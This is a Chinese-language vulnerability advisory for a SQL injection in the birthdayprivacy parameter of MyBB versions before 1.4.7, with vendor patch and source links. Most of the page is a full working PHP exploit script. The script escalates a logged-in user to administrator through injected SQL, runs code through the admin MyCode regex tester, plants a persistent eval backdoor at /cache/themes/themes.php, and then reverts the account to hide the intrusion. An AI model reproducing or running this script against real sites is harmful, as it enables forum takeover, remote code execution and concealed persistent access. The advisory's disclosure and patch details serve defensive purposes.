MyBB birthdayprivacy参数SQL注入漏洞
添加时间:
2009-06-24
系统编号:
WAVDB-01450
BUGTRAQ: 35458
影响版本:
MyBB < 1.4.7
程序介绍:
解决方案:
厂商补丁:
MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://blog.mybboard.net/2009/06 ... ed-security-update/
信息来源:
<*来源:The:Paradox
链接:http://milw0rm.com/exploits/9001
http://secunia.com/advisories/35517/
*>
2009-06-24
系统编号:
WAVDB-01450
BUGTRAQ: 35458
影响版本:
MyBB < 1.4.7
程序介绍:
MyBB是一款流行的Web论坛程序。
漏洞分析:
MyBB没有正确地验证用户请求中提交给inc/datahandlers/user.php模块的birthdayprivacy参数,远程攻击者可以通过向论坛提交恶意请求执行SQL注入攻击,导致获得论坛的管理权限。成功利用这个漏洞要求打开了Mybb的不可视模式且拥有有效的登录凭据。
漏洞利用:
- <?PHP
- $mybb = new maibibi2;
- class maibibi2
- {
- function __construct ()
- {
- $this->user = $this->get_argv('-u');
- $this->pass = $this->get_argv('-p');
- $this->target = $this->get_argv('-t');
- $this->admindir = $this->get_argv('--admindir');
- $this->oa2u = $this->get_argv('--onlyadmin2user');
- $this->ip = '67.167.124.135';
- $this->ua = 'Mozilla 5.0';
- $this->bckdr = '/cache/themes/themes.php';
- if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False) $this->help();
- if (!$this->user || !$this->pass) die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
- if (!$this->target) die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
- $this->http();
- $this->init();
- }
- function help ()
- {
- die ("Under Construction\r\n");
- }
- function get_argv ($what)
- {
- global $argv;
- if (!$n = array_search($what, $argv)) return False;
- return $argv[$n+1];
- }
- function init ()
- {
- set_time_limit(0); // about 30 seconds left? Be serious.
- echo "[.] Initialing.\r\n";
- if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");
- echo "[+] Logged in.\r\n";
- if (!$this->mypostkey = $this->getmypostkey()) die ("My_Post_Key Not Found.\r\n");
- echo "[+] my_post_key variable found.\r\n";
- $this->hidemefromonlinelist();
- echo "[+] Turned On mybb's invisible mode.\r\n";
- $this->user2admin();
- echo "[+] Sql code injected. You're now admin.\r\n";
- if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");
- echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";
- if (!$this->adminsid = $this->loginadmin()) die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
- echo "[+] Admin sid Found: {$this->adminsid}\r\n";
- #$this->writabledirs();
- $this->rce ();
- if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");
- echo "[+] Site correctly backdoored.\r\n";
- $this->admin2user();
- echo "[+] Sql code injected. You're now user.\r\n";
- echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
- echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";
- }
- function ilovecookies ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);
- $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login', 'action' => 'do_login');
- $rsp = $this->post ("{$this->target}/member.php");
- if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;
- return $res[1][0];
- }
- function getmypostkey ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' => "mybbuser={$this->mybbuser};");
- $rsp = $this->get ("{$this->target}/usercp.php?action=profile");
- if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;
- return $res[1][0];
- }
- function hidemefromonlinelist()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
- $this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');
- $rsp = $this->post ("{$this->target}/member.php");
- }
- function user2admin ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
- $this->postdata = array ('my_post_key' => $this->mypostkey,
- 'invisible' => '1',
- 'bday1' => '',
- 'bday2' => '',
- 'bday3' => '',
- 'website' => 'http%3A%2F%2F',
- 'profile_fields%5Bfid3%5D' => 'Undisclosed',
- 'profile_fields%5Bfid2%5D' => 'Undisclosed',
- 'profile_fields%5Bfid1%5D' => 'Undisclosed',
- 'usertitle' => '',
- 'icq' => '',
- 'aim' => '',
- 'msn' => '',
- 'yahoo' => '',
- 'away' => '0',
- 'awayreason' => '',
- 'awayday' => '',
- 'awaymonth' => '',
- 'awayyear' => '',
- 'birthdayprivacy' => "all', usergroup=4, email='pr3sident@whit3house.gov',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
- 'action' => 'do_profile',
- 'regsubmit' => '1');
- $rsp = $this->post ("{$this->target}/usercp.php");
- }
- function findadmindir ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
- $rsp = $this->get("{$this->target}/index.php");
- if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->
- — <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;
- return $res[1][0];
- }
- function loginadmin ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
- $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'do' => 'login');
- $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");
- if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;
- return $res[1][0];
- }
- function writabledirs ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
- $this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;
- }
- function rceOld ()
- {
- //edits inc/functions.php (original one)
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
- $this->postdata = array ('my_post_key' => $this->mypostkey,
- 'o_o' => 'phpinfo();',
- 'regex' => '(.*%3F)#e%00',
- 'replacement' => 'die(eval(stripslashes($_REQUEST[\'o_o\'])));',
- 'test_value' => 'XoD');
- $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");
- }
- function rce ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
- $this->postdata = array ('my_post_key' => $this->mypostkey,
- 'o_o' => 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7',
- 'regex' => '(.*%3F)#e%00',
- 'replacement' => 'die(eval(base64_decode($_REQUEST[\'o_o\'])));',
- 'test_value' => 'XoD',
- 'file' => "../{$this->bckdr}");
- $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");
- }
- function admin2user ()
- {
- $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
- $this->postdata = array ('my_post_key' => $this->mypostkey,
- 'invisible' => '1',
- 'bday1' => '',
- 'bday2' => '',
- 'bday3' => '',
- 'website' => 'http%3A%2F%2F',
- 'profile_fields%5Bfid3%5D' => 'Undisclosed',
- 'profile_fields%5Bfid2%5D' => 'Undisclosed',
- 'profile_fields%5Bfid1%5D' => 'Undisclosed',
- 'usertitle' => '',
- 'icq' => '',
- 'aim' => '',
- 'msn' => '',
- 'yahoo' => '',
- 'away' => '0',
- 'awayreason' => '',
- 'awayday' => '',
- 'awaymonth' => '',
- 'awayyear' => '',
- 'birthdayprivacy' => "all', usergroup=2, email='pr3sident.whit3house@gmail.com',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
- 'action' => 'do_profile',
- 'regsubmit' => '1');
- $rsp = $this->post ("{$this->target}/usercp.php");
- }
- function checkrce_old ()
- {
- $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
- $rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");
- if (!strstr($rsp,'.:31337:.')) return False;
- else return True;
- }
- function checkrce ()
- {
- $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
- $rsp = $this->get ("{$this->target}/{$this->bckdr}");
- if (!strstr($rsp,'.:31337:.')) return False;
- else return True;
- }
- function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
- {
- $this->port = $port;
- $this->timeout = $timeout;
- $this->header = $header;
- $this->postdata = $post;
- }
- function get ($url)
- {
- $this->url = parse_url($url);
- $this->packet = array();
- $this->packet[] = "GET {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
- $this->packet[] = "Host: {$this->url['host']}";
- foreach ($this->header as $header => $value)
- {
- $this->packet[] = "$header: $value";
- }
- $this->packet[] = "\r\n\r\n";
- $this->packet = implode ("\r\n",$this->packet);
- return $this->conn();
- }
- function post ($url)
- {
- $this->url = parse_url($url);
- $this->packet = array();
- $this->postcontent = '';
- $this->packet[] = "POST {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
- $this->packet[] = "Host: {$this->url['host']}";
- foreach ($this->header as $header => $value)
- {
- $this->packet[] = "$header: $value";
- }
- foreach ($this->postdata as $post => $value)
- {
- if ($this->postcontent != '') $this->postcontent .= '&';
- $this->postcontent .= "$post=$value";
- }
- $this->packet[] = 'Content-Type: application/x-www-form-urlencoded';
- $this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
- $this->packet[] = $this->postcontent;
- $this->packet = implode ("\r\n",$this->packet);
- return $this->conn();
- }
- function conn()
- {
- if (!isset($this->url['port'])) $this->url['port'] = $this->port;
- $sk = fsockopen ($this->url['host'], $this->url['port'], $eno, $estr, $this->timeout);
- if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;
- else {
- fputs($sk, $this->packet);
- $rsp = "";
- while (!feof($sk))
- {
- $rsp .= fgets ($sk, 1024);
- }
- }
- fclose($sk);
- return $rsp;
- }
- }
- ?>
解决方案:
厂商补丁:
MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://blog.mybboard.net/2009/06 ... ed-security-update/
信息来源:
<*来源:The:Paradox
链接:http://milw0rm.com/exploits/9001
http://secunia.com/advisories/35517/
*>